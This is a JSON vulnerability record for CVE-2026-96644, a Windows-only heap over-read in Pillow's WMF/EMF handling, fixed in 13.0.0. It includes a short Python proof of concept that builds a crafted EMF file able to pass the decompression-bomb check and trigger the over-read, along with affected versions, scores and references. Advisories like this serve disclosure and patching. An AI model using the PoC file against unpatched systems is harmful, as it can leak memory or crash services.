{"schema":"threatline.record/2","record":{"id":"CVE-2026-96644","aliases":["GHSA-9v9v-9qvf-h2hj"],"summary":"Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)","details":"### Summary\nOn Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native `drawwmf` handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.\n\n### Details\nThe EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:\n\n- `src/PIL/WmfImagePlugin.py:121-129` reads the bounding box; `:148` stores it; the size reaches the native handler through `src/PIL/WmfImagePlugin.py:56`.\n\nIn the native handler the DIB header fields `bcWidth` and `bcHeight` are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:\n\n- `src/display.c:793-794` assign the 16-bit fields\n- `src/display.c:800` sizes the allocation from them\n- `src/display.c:827` copies `height * ((width * 3 + 3) & -4)` bytes using the full values\n\nThe whole handler is compiled only on Windows (`#ifdef _WIN32`, `src/display.c:33-841`).\n\n### PoC\n```python\nimport struct\nfrom PIL import Image\n\ndef L(v):\n    return struct.pack(\"<i\", v)\n\n# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the\n# decompression-bomb check, but the width truncates to 16 bits for the allocation while\n# the copy uses 70000.\nemf  = b\"\\x01\\x00\\x00\\x00\" + L(88)          # record type + size\nemf += L(0) + L(0) + L(70000) + L(1)        # rclBounds: x0, y0, x1, y1\nemf += L(0) + L(0) + L(100) + L(100)        # rclFrame (non-zero, used for the dpi calc)\nemf += b\" EMF\"                              # signature at offset 40\nemf += bytes(44)\nopen(\"poc.emf\", \"wb\").write(emf)\n\nim = Image.open(\"poc.emf\")\nprint(\"size:\", im.size, \"pixels:\", im.size[0] * im.size[1])\nim.load()                                   # over-read happens here on a Windows build\n```\n\nOn Linux the first part is observable: the 88-byte file opens, `size` is `(70000, 1)`, and the bomb check passes. The native over-read only exists on Windows because `Image.core.drawwmf` is compiled out elsewhere (on Linux `im.load()` raises `OSError` instead).\n\n### Impact\nCWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.","categories":["Libraries & packages"],"product":"Pillow","vendor":"python-pillow","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-9v9v-9qvf-h2hj","source_modified_at":"2026-10-22T16:03:16Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"Pillow"},"range":"< 13.0.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-96644","source_modified_at":"2026-10-21T20:54:43.537Z","fetched_at":"2026-10-23T18:42:43.628194Z","product":"Pillow","vendor":"python-pillow","versions":[{"status":"affected","version":"< 13.0.0"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-9v9v-9qvf-h2hj","source_modified_at":"2026-10-22T16:15:47.507449856Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.0.0"}]}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-9v9v-9qvf-h2hj","source_modified_at":"2026-10-22T16:03:16Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"Pillow"},"version":"13.0.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-9v9v-9qvf-h2hj","source_modified_at":"2026-10-22T16:15:47.507449856Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"version":"13.0.0"}],"cvss":7.1,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00333,"percentile":0.25364,"score_date":"2026-10-23"},"published_at":"2026-10-21T20:54:43.537Z","modified_at":"2026-10-22T16:15:47.507449856Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-9v9v-9qvf-h2hj","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-22T16:03:16Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-96644","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-21T20:54:43.537Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-9v9v-9qvf-h2hj","fetched_at":"2026-10-23T18:48:36.087640Z","source_modified_at":"2026-10-22T16:15:47.507449856Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96644","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-9v9v-9qvf-h2hj","tags":["x_refsource_CONFIRM"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96644","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/python-pillow/Pillow/pull/10120","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/python-pillow/Pillow/commit/4cf46bee338304c5c8968fd7f132ba0d40c428b7","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-9v9v-9qvf-h2hj","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"product","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-22T16:15:47.507449856Z","content_hash":"91c84dc1e2c3757a29728d12b32be3a7228b411dc70dcf0bab50a14004f2ac9e"}}
